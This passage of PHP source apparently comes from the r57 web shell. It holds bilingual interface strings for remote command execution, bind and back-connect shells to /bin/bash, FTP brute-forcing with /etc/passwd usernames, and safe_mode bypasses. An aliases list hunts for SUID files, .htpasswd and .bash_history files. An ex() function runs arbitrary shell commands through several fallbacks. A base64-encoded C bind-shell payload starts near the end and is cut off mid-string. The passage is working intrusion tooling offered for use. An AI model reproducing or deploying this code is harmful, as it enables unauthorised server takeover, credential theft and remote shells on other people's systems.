  662. 'ru_text47'=>'???????? ???????? php.ini',
  663. 'ru_text48'=>'???????? ????????? ??????',
  664. 'ru_text49'=>'???????? ??????? ? ???????',
  665. 'ru_text50'=>'?????????? ? ??????????',
  666. 'ru_text51'=>'?????????? ? ??????',
  667. 'ru_text52'=>'????? ??? ??????',
  668. 'ru_text53'=>'?????? ? ?????',
  669. 'ru_text54'=>'????? ?????? ? ??????',
  670. 'ru_butt12'=>'?????',
  671. 'ru_text55'=>'?????? ? ??????',
  672. 'ru_text56'=>'?????? ?? ???????',
  673. 'ru_text57'=>'???????/??????? ????/??????????',
  674. 'ru_text58'=>'???',
  675. 'ru_text59'=>'????',
  676. 'ru_text60'=>'??????????',
  677. 'ru_butt13'=>'???????/???????',
  678. 'ru_text61'=>'???? ??????',
  679. 'ru_text62'=>'?????????? ???????',
  680. 'ru_text63'=>'???? ??????',
  681. 'ru_text64'=>'?????????? ???????',
  682. 'ru_text65'=>'???????',
  683. 'ru_text66'=>'???????',
  684. 'ru_text67'=>'Chown/Chgrp/Chmod',
  685. 'ru_text68'=>'???????',
  686. 'ru_text69'=>'????????1',
  687. 'ru_text70'=>'????????2',
  688. 'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
  689. 'ru_text72'=>'????? ??? ??????',
  690. 'ru_text73'=>'?????? ? ?????',
  691. 'ru_text74'=>'?????? ? ??????',
  692. 'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
  693. 'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
  694. 'ru_text77'=>'???????? ????????? ???? ??????',
  695. 'ru_text78'=>'?????????? ???????',
  696. 'ru_text79'=>'?????????? ???????',
  697. 'ru_text80'=>'???',
  698. 'ru_text81'=>'????',
  699. 'ru_text82'=>'???? ??????',
  700. 'ru_text83'=>'?????????? SQL ???????',
  701. 'ru_text84'=>'SQL ??????',
  702. 'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
  703. 'ru_text86'=>'?????????? ????? ? ???????',
  704. 'ru_butt14'=>'???????',
  705. 'ru_text87'=>'???????? ?????? ? ?????????? ftp-???????',
  706. 'ru_text88'=>'FTP-??????:????',
  707. 'ru_text89'=>'???? ?? ftp ???????',
  708. 'ru_text90'=>'????? ????????',
  709. 'ru_text91'=>'???????????? ?',
  710. 'ru_text92'=>'??? ?????????',
  711. 'ru_text93'=>'FTP',
  712. 'ru_text94'=>'FTP-????????',
  713. 'ru_text95'=>'?????? ?????????????',
  714. 'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
  715. 'ru_text97'=>'????????? ??????????: ',
  716. 'ru_text98'=>'??????? ???????????: ',
  717. 'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd',
  718. 'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
  719. 'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????',
  720. 'ru_text102'=>'?????',
  721. 'ru_text103'=>'???????? ??????',
  722. 'ru_text104'=>'???????? ????? ?? ???????? ????',
  723. 'ru_text105'=>'????',
  724. 'ru_text106'=>'??',
  725. 'ru_text107'=>'????',
  726. 'ru_butt15'=>'?????????',
  727. 'ru_text108'=>'????? ??????',
  728. 'ru_text109'=>'????????',
  729. 'ru_text110'=>'??????????',
  730. /* --------------------------------------------------------------- */
  731. 'eng_text1' =>'Executed command',
  732. 'eng_text2' =>'Execute command on server',
  733. 'eng_text3' =>'Run command',
  734. 'eng_text4' =>'Work directory',
  735. 'eng_text5' =>'Upload files on server',
  736. 'eng_text6' =>'Local file',
  737. 'eng_text7' =>'Aliases',
  738. 'eng_text8' =>'Select alias',
  739. 'eng_butt1' =>'Execute',
  740. 'eng_butt2' =>'Upload',
  741. 'eng_text9' =>'Bind port to /bin/bash',
  742. 'eng_text10'=>'Port',
  743. 'eng_text11'=>'Password for access',
  744. 'eng_butt3' =>'Bind',
  745. 'eng_text12'=>'back-connect',
  746. 'eng_text13'=>'IP',
  747. 'eng_text14'=>'Port',
  748. 'eng_butt4' =>'Connect',
  749. 'eng_text15'=>'Upload files from remote server',
  750. 'eng_text16'=>'With',
  751. 'eng_text17'=>'Remote file',
  752. 'eng_text18'=>'Local file',
  753. 'eng_text19'=>'Exploits',
  754. 'eng_text20'=>'Use',
  755. 'eng_text21'=>'&nbsp;New name',
  756. 'eng_text22'=>'datapipe',
  757. 'eng_text23'=>'Local port',
  758. 'eng_text24'=>'Remote host',
  759. 'eng_text25'=>'Remote port',
  760. 'eng_text26'=>'Use',
  761. 'eng_butt5' =>'Run',
  762. 'eng_text28'=>'Work in safe_mode',
  763. 'eng_text29'=>'ACCESS DENIED',
  764. 'eng_butt6' =>'Change',
  765. 'eng_text30'=>'Cat file',
  766. 'eng_butt7' =>'Show',
  767. 'eng_text31'=>'File not found',
  768. 'eng_text32'=>'Eval PHP code',
  769. 'eng_text33'=>'Test bypass open_basedir with cURL functions',
  770. 'eng_butt8' =>'Test',
  771. 'eng_text34'=>'Test bypass safe_mode with include function',
  772. 'eng_text35'=>'Test bypass safe_mode with load file in mysql',
  773. 'eng_text36'=>'Database',
  774. 'eng_text37'=>'Login',
  775. 'eng_text38'=>'Password',
  776. 'eng_text39'=>'Table',
  777. 'eng_text40'=>'Dump database table',
  778. 'eng_butt9' =>'Dump',
  779. 'eng_text41'=>'Save dump in file',
  780. 'eng_text42'=>'Edit files',
  781. 'eng_text43'=>'File for edit',
  782. 'eng_butt10'=>'Save',
  783. 'eng_text44'=>'Can\'t edit file! Only read access!',
  784. 'eng_text45'=>'File saved',
  785. 'eng_text46'=>'Show phpinfo()',
  786. 'eng_text47'=>'Show variables from php.ini',
  787. 'eng_text48'=>'Delete temp files',
  788. 'eng_butt11'=>'Edit file',
  789. 'eng_text49'=>'Delete script from server',
  790. 'eng_text50'=>'View cpu info',
  791. 'eng_text51'=>'View memory info',
  792. 'eng_text52'=>'Find text',
  793. 'eng_text53'=>'In dirs',
  794. 'eng_text54'=>'Find text in files',
  795. 'eng_butt12'=>'Find',
  796. 'eng_text55'=>'Only in files',
  797. 'eng_text56'=>'Nothing :(',
  798. 'eng_text57'=>'Create/Delete File/Dir',
  799. 'eng_text58'=>'name',
  800. 'eng_text59'=>'file',
  801. 'eng_text60'=>'dir',
  802. 'eng_butt13'=>'Create/Delete',
  803. 'eng_text61'=>'File created',
  804. 'eng_text62'=>'Dir created',
  805. 'eng_text63'=>'File deleted',
  806. 'eng_text64'=>'Dir deleted',
  807. 'eng_text65'=>'Create',
  808. 'eng_text66'=>'Delete',
  809. 'eng_text67'=>'Chown/Chgrp/Chmod',
  810. 'eng_text68'=>'Command',
  811. 'eng_text69'=>'param1',
  812. 'eng_text70'=>'param2',
  813. 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  814. 'eng_text72'=>'Text for find',
  815. 'eng_text73'=>'Find in folder',
  816. 'eng_text74'=>'Find in files',
  817. 'eng_text75'=>'* you can use regexp',
  818. 'eng_text76'=>'Search text in files via find',
  819. 'eng_text77'=>'Show database structure',
  820. 'eng_text78'=>'show tables',
  821. 'eng_text79'=>'show columns',
  822. 'eng_text80'=>'Type',
  823. 'eng_text81'=>'Net',
  824. 'eng_text82'=>'Databases',
  825. 'eng_text83'=>'Run SQL query',
  826. 'eng_text84'=>'SQL query',
  827. 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  828. 'eng_text86'=>'Download files from server',
  829. 'eng_butt14'=>'Download',
  830. 'eng_text87'=>'Download files from remote ftp-server',
  831. 'eng_text88'=>'FTP-server:port',
  832. 'eng_text89'=>'File on ftp',
  833. 'eng_text90'=>'Transfer mode',
  834. 'eng_text91'=>'Archivation',
  835. 'eng_text92'=>'without archivation',
  836. 'eng_text93'=>'FTP',
  837. 'eng_text94'=>'FTP-bruteforce',
  838. 'eng_text95'=>'Users list',
  839. 'eng_text96'=>'Can\'t get users list',
  840. 'eng_text97'=>'checked: ',
  841. 'eng_text98'=>'success: ',
  842. 'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
  843. 'eng_text100'=>'Send file to remote ftp server',
  844. 'eng_text101'=>'Use reverse (user -> resu) login for password',
  845. 'eng_text102'=>'Mail',
  846. 'eng_text103'=>'Send email',
  847. 'eng_text104'=>'Send file to email',
  848. 'eng_text105'=>'To',
  849. 'eng_text106'=>'From',
  850. 'eng_text107'=>'Subj',
  851. 'eng_butt15'=>'Send',
  852. 'eng_text108'=>'Mail',
  853. 'eng_text109'=>'Hide',
  854. 'eng_text110'=>'Show',
  855. );
  856. /*
  857. ?????? ??????
  858. ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
  859. ?? ?????? ???? ????????? ??? ???????? ???????.
  860. */
  861. $aliases=array(
  862. 'find suid files'=>'find / -type f -perm -04000 -ls',
  863. 'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
  864. 'find sgid files'=>'find / -type f -perm -02000 -ls',
  865. 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
  866. 'find config.inc.php files'=>'find / -type f -name config.inc.php',
  867. 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
  868. 'find config* files'=>'find / -type f -name "config*"',
  869. 'find config* files in current dir'=>'find . -type f -name "config*"',
  870. 'find all writable files'=>'find / -type f -perm -2 -ls',
  871. 'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
  872. 'find all writable directories'=>'find /  -type d -perm -2 -ls',
  873. 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
  874. 'find all writable directories and files'=>'find / -perm -2 -ls',
  875. 'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
  876. 'find all service.pwd files'=>'find / -type f -name service.pwd',
  877. 'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
  878. 'find all .htpasswd files'=>'find / -type f -name .htpasswd',
  879. 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
  880. 'find all .bash_history files'=>'find / -type f -name .bash_history',
  881. 'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
  882. 'find all .mysql_history files'=>'find / -type f -name .mysql_history',
  883. 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
  884. 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
  885. 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
  886. 'list file attributes on a Linux second extended file system'=>'lsattr -va',
  887. 'show opened ports'=>'netstat -an | grep -i listen',
  888. '----------------------------------------------------------------------------------------------------'=>'ls -la'
  889. );
  890. $table_up1  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
  891. $table_up2  = " ::</div></b></font></td></tr><tr><td>";
  892. $table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
  893. $table_end1 = "</td></tr>";
  894. $arrow = " <font face=Wingdings color=gray>?</font>";
  895. $lb = "<font color=black>[</font>";
  896. $rb = "<font color=black>]</font>";
  897. $font = "<font face=Verdana size=-2>";
  898. $ts = "<table class=table1 width=100% align=center>";
  899. $te = "</table>";
  900. $fs = "<form name=form method=POST>";
  901. $fe = "</form>";
  902.  
  903. if(isset($_GET['users']))
  904.  {
  905.  if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  906.  else
  907.   {
  908.   echo '<center>';
  909.   foreach($users as $user) { echo $user."<br>"; }
  910.   echo '</center>';
  911.   }
  912.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  913.  }
  914.  
  915. if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
  916. $dir = @getcwd();
  917. $windows = 0;
  918. $unix = 0;
  919. if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
  920. if(empty($dir))
  921.  {
  922.  $os = getenv('OS');
  923.  if(empty($os)){ $os = php_uname(); }
  924.  if(empty($os)){ $os ="-"; $unix=1; }
  925.  else
  926.     {
  927.     if(@eregi("^win",$os)) { $windows = 1; }
  928.     else { $unix = 1; }
  929.     }
  930.  }
  931. if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  932.   {
  933.     echo $head;
  934.     if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
  935.     else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
  936.     $sr->SearchText(0,0);
  937.     $res = $sr->GetResultFiles();
  938.     $found = $sr->GetMatchesCount();
  939.     $titles = $sr->GetTitles();
  940.     $r = "";
  941.     if($found > 0)
  942.     {
  943.       $r .= "<TABLE width=100%>";
  944.       foreach($res as $file=>$v)
  945.       {
  946.         $r .= "<TR>";
  947.         $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
  948.         $r .= ($windows)? str_replace("/","\\",$file) : $file;
  949.         $r .= "</b></font></ TD>";
  950.         $r .= "</TR>";
  951.         foreach($v as $a=>$b)
  952.         {
  953.           $r .= "<TR>";
  954.           $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
  955.           $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
  956.           $r .= "</TR>\n";
  957.         }
  958.       }
  959.       $r .= "</TABLE>";
  960.     echo $r;
  961.     }
  962.     else
  963.     {
  964.       echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
  965.     }
  966.   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  967.   die();
  968.   }                                                          
  969. if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
  970. $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
  971. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  972. function ws($i)
  973. {
  974. return @str_repeat("&nbsp;",$i);
  975. }
  976. function ex($cfe)
  977. {
  978.  $res = '';
  979.  if (!empty($cfe))
  980.  {
  981.   if(function_exists('exec'))
  982.    {
  983.     @exec($cfe,$res);
  984.     $res = join("\n",$res);
  985.    }
  986.   elseif(function_exists('shell_exec'))
  987.    {
  988.     $res = @shell_exec($cfe);
  989.    }
  990.   elseif(function_exists('system'))
  991.    {
  992.     @ob_start();
  993.     @system($cfe);
  994.     $res = @ob_get_contents();
  995.     @ob_end_clean();
  996.    }
  997.   elseif(function_exists('passthru'))
  998.    {
  999.     @ob_start();
  1000.     @passthru($cfe);
  1001.     $res = @ob_get_contents();
  1002.     @ob_end_clean();
  1003.    }
  1004.   elseif(@is_resource($f = @popen($cfe,"r")))
  1005.   {
  1006.    $res = "";
  1007.    while(!@feof($f)) { $res .= @fread($f,1024); }
  1008.    @pclose($f);
  1009.   }
  1010.  }
  1011.  return $res;
  1012. }
  1013. function get_users()
  1014. {
  1015.   $users = array();
  1016.   $rows=file('/etc/passwd');
  1017.   if(!$rows) return 0; 
  1018.   foreach ($rows as $string)
  1019.    {
  1020.         $user = @explode(":",$string);
  1021.         if(substr($string,0,1)!='#') array_push($users,$user[0]);
  1022.    }
  1023.   return $users;        
  1024. }
  1025. function we($i)
  1026. {
  1027. if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; }
  1028. else { $text = "[-] ERROR! Can't write in file "; }
  1029. echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
  1030. return null;
  1031. }
  1032. function re($i)
  1033. {
  1034. if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; }
  1035. else { $text = "[-] ERROR! Can't read file "; }
  1036. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
  1037. return null;
  1038. }
  1039. function ce($i)
  1040. {
  1041. if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; }
  1042. else { $text = "Can't create "; }
  1043. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
  1044. return null;
  1045. }
  1046. function fe($l,$n)
  1047. {
  1048. $text['ru']  = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????');
  1049. $text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server');   
  1050. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";
  1051. return null;
  1052. }
  1053. function mr($l,$n)
  1054. {
  1055. $text['ru']  = array('?? ??????? ????????? ??????','?????? ??????????');
  1056. $text['eng'] = array('Can\'t send mail','Mail sent');  
  1057. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";
  1058. return null;
  1059. }
  1060. function perms($mode)
  1061. {
  1062. if ($GLOBALS['windows']) return 0;
  1063. if( $mode & 0x1000 ) { $type='p'; }
  1064. else if( $mode & 0x2000 ) { $type='c'; }
  1065. else if( $mode & 0x4000 ) { $type='d'; }
  1066. else if( $mode & 0x6000 ) { $type='b'; }
  1067. else if( $mode & 0x8000 ) { $type='-'; }
  1068. else if( $mode & 0xA000 ) { $type='l'; }
  1069. else if( $mode & 0xC000 ) { $type='s'; }
  1070. else $type='u';
  1071. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  1072. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  1073. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  1074. $group["read"] = ($mode & 00040) ? 'r' : '-';
  1075. $group["write"] = ($mode & 00020) ? 'w' : '-';
  1076. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  1077. $world["read"] = ($mode & 00004) ? 'r' : '-';
  1078. $world["write"] = ($mode & 00002) ? 'w' : '-';
  1079. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  1080. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  1081. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  1082. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  1083. $s=sprintf("%1s", $type);
  1084. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  1085. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  1086. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  1087. return trim($s);
  1088. }
  1089. function in($type,$name,$size,$value)
  1090. {
  1091.  $ret = "<input type=".$type." name=".$name." ";
  1092.  if($size != 0) { $ret .= "size=".$size." "; }
  1093.  $ret .= "value=\"".$value."\">";
  1094.  return $ret;
  1095. }
  1096. function which($pr)
  1097. {
  1098. $path = ex("which $pr");
  1099. if(!empty($path)) { return $path; } else { return $pr; }
  1100. }
  1101. function cf($fname,$text)
  1102. {
  1103.  $w_file=@fopen($fname,"w") or we($fname);
  1104.  if($w_file)
  1105.  {
  1106.  @fputs($w_file,@base64_decode($text));
  1107.  @fclose($w_file);
  1108.  }
  1109. }
  1110. function sr($l,$t1,$t2)
  1111.  {
  1112.  return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
  1113.  }     
  1114. if (!@function_exists("view_size"))
  1115. {
  1116. function view_size($size)
  1117. {
  1118.  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  1119.  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  1120.  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  1121.  else {$size = $size . " B";}
  1122.  return $size;
  1123. }
  1124. }
  1125. function DirFiles($dir,$types='')
  1126.   {
  1127.     $files = Array();
  1128.     if(($handle = @opendir($dir)))
  1129.     {
  1130.       while (FALSE !== ($file = @readdir($handle)))
  1131.       {
  1132.         if ($file != "." && $file != "..")
  1133.         {
  1134.           if(!is_dir($dir."/".$file))
  1135.           {
  1136.             if($types)
  1137.             {
  1138.               $pos = @strrpos($file,".");
  1139.               $ext = @substr($file,$pos,@strlen($file)-$pos);
  1140.               if(@in_array($ext,@explode(';',$types)))
  1141.                 $files[] = $dir."/".$file;
  1142.             }
  1143.             else
  1144.               $files[] = $dir."/".$file;
  1145.           }
  1146.         }
  1147.       }
  1148.       @closedir($handle);
  1149.     }
  1150.     return $files;
  1151.   }
  1152.   function DirFilesWide($dir)
  1153.   {
  1154.     $files = Array();
  1155.     $dirs = Array();
  1156.     if(($handle = @opendir($dir)))
  1157.     {
  1158.       while (false !== ($file = @readdir($handle)))
  1159.       {
  1160.         if ($file != "." && $file != "..")
  1161.         {
  1162.           if(@is_dir($dir."/".$file))
  1163.           {
  1164.             $file = @strtoupper($file);
  1165.             $dirs[$file] = '&lt;DIR&gt;';
  1166.           }
  1167.           else
  1168.             $files[$file] = @filesize($dir."/".$file);
  1169.         }
  1170.       }
  1171.       @closedir($handle);
  1172.       @ksort($dirs);
  1173.       @ksort($files);
  1174.       $files = @array_merge($dirs,$files);
  1175.     }
  1176.     return $files;
  1177.   }
  1178.   function DirFilesR($dir,$types='')
  1179.   {
  1180.     $files = Array();
  1181.     if(($handle = @opendir($dir)))
  1182.     {
  1183.       while (false !== ($file = @readdir($handle)))
  1184.       {
  1185.         if ($file != "." && $file != "..")
  1186.         {
  1187.           if(@is_dir($dir."/".$file))
  1188.             $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
  1189.           else
  1190.           {
  1191.             $pos = @strrpos($file,".");
  1192.             $ext = @substr($file,$pos,@strlen($file)-$pos);
  1193.             if($types)
  1194.             {
  1195.               if(@in_array($ext,explode(';',$types)))
  1196.                 $files[] = $dir."/".$file;
  1197.             }
  1198.             else
  1199.               $files[] = $dir."/".$file;
  1200.           }
  1201.         }
  1202.       }
  1203.       @closedir($handle);
  1204.     }
  1205.     return $files;
  1206.   }
  1207.   function DirPrintHTMLHeaders($dir)
  1208.   {
  1209.     $pockets = '';
  1210.         $handle = @opendir($dir) or die("Can't open directory $dir");
  1211.     echo "    <ul style='margin-left: 0px; padding-left: 20px;'>\n";
  1212.     while (false !== ($file = @readdir($handle)))
  1213.     {
  1214.       if ($file != "." && $file != "..")
  1215.       {
  1216.         if(@is_dir($dir."/".$file))
  1217.         {
  1218.           echo "      <li><b>[ $file ]</b></li>\n";
  1219.           DirPrintHTMLHeaders($dir."/".$file);
  1220.         }
  1221.         else
  1222.         {
  1223.           $pos = @strrpos($file,".");
  1224.           $ext = @substr($file,$pos,@strlen($file)-$pos);
  1225.           if(@in_array($ext,array('.htm','.html')))
  1226.           {
  1227.             $header = '-=None=-';
  1228.             $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file);
  1229.             for($a=0;$a<count($strings);$a++)
  1230.             {
  1231.               $pattern = '(<title>(.+)</title>)';
  1232.               if(@eregi($pattern,$strings[$a],$pockets))
  1233.               {
  1234.                 $header = "&laquo;".$pockets[2]."&raquo;";
  1235.                 break;
  1236.               }
  1237.             }
  1238.             echo "      <li>".$header."</li>\n";
  1239.           }
  1240.         }
  1241.       }
  1242.     }
  1243.     echo "    </ul>\n";
  1244.     @closedir($handle);
  1245.   }
  1246.  
  1247.   class SearchResult
  1248.   {
  1249.     var $text;
  1250.     var $FilesToSearch;
  1251.     var $ResultFiles;
  1252.     var $FilesTotal;
  1253.     var $MatchesCount;
  1254.     var $FileMatschesCount;
  1255.     var $TimeStart;
  1256.     var $TimeTotal;
  1257.     var $titles;
  1258.     function SearchResult($dir,$text,$filter='')
  1259.     {
  1260.       $dirs = @explode(";",$dir);
  1261.       $this->FilesToSearch = Array();
  1262.       for($a=0;$a<count($dirs);$a++)
  1263.         $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
  1264.       $this->text = $text;
  1265.       $this->FilesTotal = @count($this->FilesToSearch);
  1266.       $this->TimeStart = getmicrotime();
  1267.       $this->MatchesCount = 0;
  1268.       $this->ResultFiles = Array();
  1269.       $this->FileMatchesCount = Array();
  1270.       $this->titles = Array();
  1271.     }
  1272.     function GetFilesTotal() { return $this->FilesTotal; }
  1273.     function GetTitles() { return $this->titles; }
  1274.     function GetTimeTotal() { return $this->TimeTotal; }
  1275.     function GetMatchesCount() { return $this->MatchesCount; }
  1276.     function GetFileMatchesCount() { return $this->FileMatchesCount; }
  1277.     function GetResultFiles() { return $this->ResultFiles; }
  1278.     function SearchText($phrase=0,$case=0) {
  1279.     $qq = @explode(' ',$this->text);
  1280.     $delim = '|';
  1281.       if($phrase)
  1282.         foreach($qq as $k=>$v)
  1283.           $qq[$k] = '\b'.$v.'\b';
  1284.       $words = '('.@implode($delim,$qq).')';
  1285.       $pattern = "/".$words."/";
  1286.       if(!$case)
  1287.         $pattern .= 'i';
  1288.       foreach($this->FilesToSearch as $k=>$filename)
  1289.       {
  1290.         $this->FileMatchesCount[$filename] = 0;
  1291.         $FileStrings = @file($filename) or @next;
  1292.         for($a=0;$a<@count($FileStrings);$a++)
  1293.         {
  1294.           $count = 0;
  1295.           $CurString = $FileStrings[$a];
  1296.           $CurString = @Trim($CurString);
  1297.           $CurString = @strip_tags($CurString);
  1298.           $aa = '';
  1299.           if(($count = @preg_match_all($pattern,$CurString,$aa)))
  1300.           {
  1301.             $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
  1302.             $this->ResultFiles[$filename][$a+1] = $CurString;
  1303.             $this->MatchesCount += $count;
  1304.             $this->FileMatchesCount[$filename] += $count;
  1305.           }
  1306.         }
  1307.       }
  1308.       $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
  1309.     }
  1310.   }
  1311.   function getmicrotime()
  1312.   {
  1313.     list($usec,$sec) = @explode(" ",@microtime());
  1314.     return ((float)$usec + (float)$sec);
  1315.   }
  1316. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
  1317. A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  1318. GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  1319. b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
  1320. pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
  1321. NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
  1322. ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
  1323. ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
  1324. 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
  1325. 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
  1326. 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
  1327. dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
